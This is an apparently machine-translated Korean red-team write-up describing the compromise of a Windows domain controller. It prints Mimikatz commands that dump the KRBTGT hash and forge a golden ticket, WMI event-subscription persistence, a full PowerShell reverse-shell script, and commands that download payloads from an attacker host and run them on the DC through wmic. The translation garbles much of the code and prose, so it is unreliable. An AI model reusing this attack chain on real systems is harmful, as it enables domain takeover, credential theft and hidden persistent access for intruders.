회사 스마트 전화 보안 (iii)-도메인 컨트롤러를 대상으로 하 고 황금 티켓을 찾고. 내부 네트워크를 떠나기 전에 우리는 도메인 컨트롤러, 특히 Kerberos 계정 (KRBTGT)를 만드는 황금 티켓 *의 해시를 얻을 하기로 결정 했다.
골든 티켓 위조 TGT (티켓 부여 티켓) 참조, 티켓은 동일한 실버 위조 TGS (티켓 부여 서버)
골든 티켓 공격 무단된 액세스에 대 한 오프 라인 Kerberos TGT를 만들고 도메인 사용자를 위조 수 있습니다. 또한, 그것은 10 년 동안, 즉, 적합으로 만들어진 도메인 관리자의 자격 증명 변경 하는 경우에. 그것은 특권에 대 한 우수 사례는 가요?
이 작업을 달성 하기 위해 필요 합니다.
KRBTGT 해시
도메인 SID
사용자 이름 (이것은 관리자)
도메인 이름 (이 Supercompany)
비슷한 방식으로 (포트 포워딩 srvwsus, 향상 된 smbexec, 등), 우리는 현재 바로 새로운 로컬 관리자와 도메인 컨트롤러에는 PowerShell 있다.
데이터에 대 한 Active Directory를 얻을 하 고 Hash.txt에 저장을 혼란 Mimikatz를 수행 했습니다.
호출 mymy 명령 ' privilege::d ebug "Lsadump::lsa/주입" > Hash.txt
Mimikatz 스크립트 파일의 끝에 자동 호출 명령 없이. 우리 exfiltrated 우리의 웹 서버에 해시 파일. 이것은 그것의 내용:
제거: 000001f6 (502)
사용자: krbtgt
* 기본
LM:
Ntlm:3003567af268a4axxxxxxxxxxxxxxxxx
우리 도메인 SID를가지고 자동으로 도메인 컨트롤러에서 가져온, 받을 addomain cmdlet를 사용 하 여:
추 신: c:\test > Get-addomain
AllowedDNSSuffixes: {}
Childdomains: {}
Computerscontainer:cn 컴퓨터, = dc = supercompany, dc = 로컬
Deletedobjectscontainer:cn 삭제 된 개체, = dc = supercompany, dc = 로컬
Distinguishedname:dc = supercompany, dc = 로컬
DNSRoot:supercompany.local
Domaincontrollerscontainer:ou 도메인 =
컨트롤러, dc = supercompany, dc = 로컬
Domainmode:windows2012r2domain
domainsid:s-1-5-21-3534665177-2148510708-2241433719
...
참고: 우리는 관리자에서 도메인 SID를 얻을 수 있습니다 (해당 UID = 500) Mimikatz에 의해 얻어진 다:
s-1-5-21-3534665177-2148510708-2241433719-500
이제 우리의 골든 티켓을 만들 시간 이다.
호출 mymy 명령 ' "Privilege::d ebug" "Kerberos::golden / admin:administrator / 도메인: supercompany. Local/sid:s-1-5-21-3534665177-2148510708-2241433719/krbtgt:3003567af268a4a94e26f410e84353f1/ticket:admin.krb "'
.#####. Mimikatz 2.1 11 월 10 2016에 내장 된 (x64) 15시 31분: 14
.## ^ ##. "La Vie는 L ' 아무르"
## / \ ## /* * *
# # #/ # # 벤자민 델피 'Gentilkiwi' (benjamin@gentilkiwi.com)
' # # v # # Http://blog.gentilkiwi.com/mimikatz (Oe.eo)
' # ' 모듈 * * * *
Mimikatz (PowerShell) # Privilege::d Ebug
권한 ' 확인
Mimikatz (PowerShell) # Kerberos::golden / admin:administrator / 도메인: supercompany. Local/sid:s-1-5-21-3534665177-2148510708-2241433719/krbtgt:3003567af268a4a94e26f410e84353f1/ticket:admin.krb
사용자: 관리자
도메인: supercompany입니다. 현지 (Supercompany)
sid:s-1-5-21-3534665177-2148510708-2241433719
사용자 id: 500
그룹 Id: * 513 512 520 518 519
Servicekey:3003567af268a4a94e26f410e84353f1-rc4_hmac_nt
수명: 2/17/2017 오후 4시 02분: 10; 2/17/2027 오후 4시 02분: 10; 3/3/2027 오후 4시 02분: 10
TICKET:ADMIN.KRB->
* PAC 생성
* PAC 서명
* Encticketpart 생성
* Encticketpart 암호화
* Krbcred 생성
결국, 티켓은 후 우리는 Admin.krb 파일을 선택 하 고 나중에 그것을 사용 하 여 파일에 저장 됩니다.
기관 정비
시스템을 떠나기 전에 우리가 미래의 사용에 대 한 서버의 공용 네트워크에 대 한 액세스를 유지 하는 방법을 설정 해야 합니다. 이 단계에서는 하지 찾을 수는 쉽지 않다, 심지어 초보자 시스템 관리자는 몇 가지 단서를 찾을 것입니다.
우리는 instancemodificationevent를 활용 하 여 WMI 기능에 더 정교한 접근을 위한 기회를 선택 했습니다.
WMI 개체 인스턴스 변경의 레지스터는 instancemodificationevent로 사용 됩니다. 이러한 조건에서 우리 필터링 시스템 출시의 200-300 초 내 이벤트 시스템 부팅 시간, 우리 Eventconsumer에는 commandlineeventconsumer를 제공할 것입니다.
Srvwsus 서버에서 우리는 다음 명령을 보낸:
$filterName = "Justfortestfilter"
$consumerName = "Justfortestconsumer"
$exePath = "C:\windows\help\windows\indexstore\r.bat"
$Query = "선택 *에서 WHERE targetinstance ISA 내의 __InstanceModificationEvent ' Win32_perfformatteddata_perfos_sy 줄기 '와 targetinstance.systemuptime > = 및 Targetinstance.systemuptime
$WMIEventFilter = __eventfilter-세트-wmiinstance-클래스 네임 스페이스 "root\subscription"-인수 @{이름 = $filterName; Eventnamespace = "Root\cimv2″; Querylanguage = "WQL"; 쿼리 = $Query}-erroraction 중지
$WMIEventConsumer = commandlineeventconsumer-세트-wmiinstance-클래스 네임 스페이스 "root\subscription"-인수 @{이름 = $ Consumername; Executablepath = $exePath; Commandlinetemplate = $exepath}
__Filtertoconsumerbinding-세트-wmiinstance-클래스 네임 스페이스 "root\subscription"-인수 @{필터 = $WMIEventFilter; 소비자 = $WMIEventConsumer}
다음 R.bat, 만든 윈도 숨겨진된 폴더, 다음과 같이 읽는다:
Powershell executionpolicy 우회 windowstyle 숨겨진 f C:\windows\help\windows\indexstore\r.ps1
R.ps1 파일의 내용이:
$c = 새 개체 System.Net.Sockets.TCPClient (', 443);
$s = $c. GetStream (); [바이트 []] $b = 0..65535 | % {0};
동안 ($i = $s. 읽기 ($b, 0, $b. 길이))-ne 0) {;
$d (새로운 개체 typename System.Text.ASCIIEncoding) =. GetString ($b, 0, $i);
$SB = (전류 구동 $data 2 > & 1 | -문자열);
$SB 2 = $sb + 'PS' + (PWD). 경로 + ' > ';
$SB = ([Text.encoding]::ascii). GetBytes ($SB 2);
$s. 쓰기 ($SB, 0, $SB. 길이);
$s입니다. (플러시)};
$c. ()를 닫습니다 "
그것을 이렇게 하면 srvwsus 재 부 팅에 로컬 시스템 권한을 실행 하는 원격 셸.
마지막으로, 우리가 테스트 우리가 골든 티켓, 기억 admin.krb이이 파일?
로컬 시스템 관리자 권한이의 쉘 srvwsus에 의해 우리는 ADMIN.KRB 다운로드 포트 포워딩을 구성 하 고 Srvwsus 9000 포트에 R3.ps1 콜백 사용 하는 스크립트를 업로드.
이제 우리는 세션에서 티켓을 로드:
추 신: C:\tmp > 호출-mymy-명령 'Kerberos::p tt ADMIN.KRB'
.#####. Mimikatz 2.1 11 월 10 2016에 내장 된 (x64) 15시 31분: 14
.## ^ ##. "La Vie는 L ' 아무르"
## / \ ## /* * *
# # #/ # # 벤자민 델피 'Gentilkiwi' (benjamin@gentilkiwi.com)
' # # v # # Http://blog.gentilkiwi.com/mimikatz (Oe.eo)
' # ' 모듈 * * * *
Mimikatz (PowerShell) # Kerberos::p tt ADMIN.KRB
* 파일: 'ADMIN.KRB': 확인
Klist It를 사용 하 여 우리의 로드 Kerberos 토큰을 나열 할 수 있습니다.
추 신: c:\tmp > klist
현재 LogonId는 0:0x3e7
캐시 된 티켓: (1)
#0 > 클라이언트: 관리자 supercompany @. 지역
서버: krbtgt / supercompany. @ Supercompany 지역. 지역
Kerbticket 암호화 유형: rsadsi Rc4-hmac (NT)
티켓 플래그 0x40e00000-> forwardable 재생 초기 pre_authent
시작 시간: 2/17/2017 1시 02분: 10 (로컬)
종료 시간: 2/17/2027 1시 02분: 10 (로컬)
갱신 시간: 2/18/2027 1시 02분: 10 (로컬)
세션 키 유형: rsadsi Rc4-hmac (NT)
캐시 플래그: 0x1-> 기본
KDC 라고:
성공, 성공적으로 로드 하는 티켓!
다음 작업에 대 한 우리는 Kerberos 자격 증명을 통해 원격 시스템에 액세스할 수 있도록 WMI 명령줄 인터페이스 프로그램 창 Wmic.exe 유틸리티를 사용 합니다.
우리는 아무 문제 없이 도메인 컨트롤러에 R3.PS1 복제, 그냥 우리의 세션 관리자 티켓 로드!
추 신: c:\tmp > C:\tmp\r3.ps1 \\srvdc1\c$\windows\temp\r3.ps1″를 복사
그리고 실행:
추 신: c:\tmp > wmic/기관: "KERBEROS:SUPERCOMPANY\SRVDC1″ / 노드: SRVDC1 프로세스 호출 만들기" PowerShell- ExecutionPolicy 우회 windowstyle 숨겨진 f C:\windows\temp\r3.ps1 "
실행 (Win32_Process)-> ()를 만들
메서드 실행 성공입니다.
Out 매개 변수:
__Parameters 인스턴스
{
ProcessID = 4528;
returnvalue = 0;
};
우리는 잠시 기다렸다 고 우리의 컴퓨터에서 우리는 SRVDC1에서 셸을 보았다:
추 신: c:\windows\system32 > WhoAmI
Supercompany\administrator
관리자의 암호 변경 하는 경우에 그것은 작동 하는 것이 즉.
나는 황금 티켓의 잠재적인 위험에 대해 말을 몇 마디:
찾기 매우 어려운 Kerberos 티켓 (https://adsecurity.org/?p=1515) 단조
증거의 경우이 작업을 수행 하는 유일한 방법은 두 번, KRBTG 암호를 다시 설정 하는 하지만이 active Directory 인프라에 심각한 영향을 미칠 수 있습니다.
할 수 있는 마지막 일
어떻게 우리가 첫 번째 PowerShell 원격 쉘에에서 있어 Srvwsus 기억?
우리는 안 드 로이드 전화는 Meterpreter 통해 연결을 전달 하도록 인트라넷 서버에서 원격 명령 실행. 만일 우리가 PowerShell의 원격 셸을 잃게 하 고 피해자를 연결 하지? 게임 오버...
우리 Srvwsus 쉘에 지속적인 액세스를 추가할 필요가!
어떻게 해야 합니까? 대답 Tomcat의 Webshell에서 Srvwsus에 액세스를 추가 하는:
# 1 Smbexec 명령:
전류 구동 (새 개체 net.webclient)입니다. DownloadFile ('Http:///r1.ps1',
C:\tmp\r1.ps1 ')
# 2 Smbexec 명령:
전류 구동 (새 개체 net.webclient)입니다. DownloadFile ('Http:///r1.bat',
C:\tmp\r1.bat ')
# 3 smbexec 명령:
' Cmd/c C:\tmp\r1.bat '
R1.bat는 무엇을 포함 하는가?
@echo
: 루프
Powershell executionpolicy 우회 windowstyle 숨겨진 f C:\tmp\r.ps1
타임 아웃/t 10
Goto 루프
그것은 우아한, 하지만 그것은 작동 합니다. 연결 손실 후 다시 연결을 10 초 동안 기다립니다.
물론 암호화 하 고 모두를 혼동 수 있습니다 우리는. PS1 스크립트, 하지만 우리가 어떻게 작동 하는지 보여 싶어요.
결론
이것은 우리의 일은 우리가 새로운, 하지만 Windows 기본 제공 기능 및 일부 스크립트와 아무것도 발명 하지 않았다, 우리 큰일 나요. 때로는 우리가 마술 도구를 필요 하지 않습니다, 그리고 우리는 그냥 키스를 필요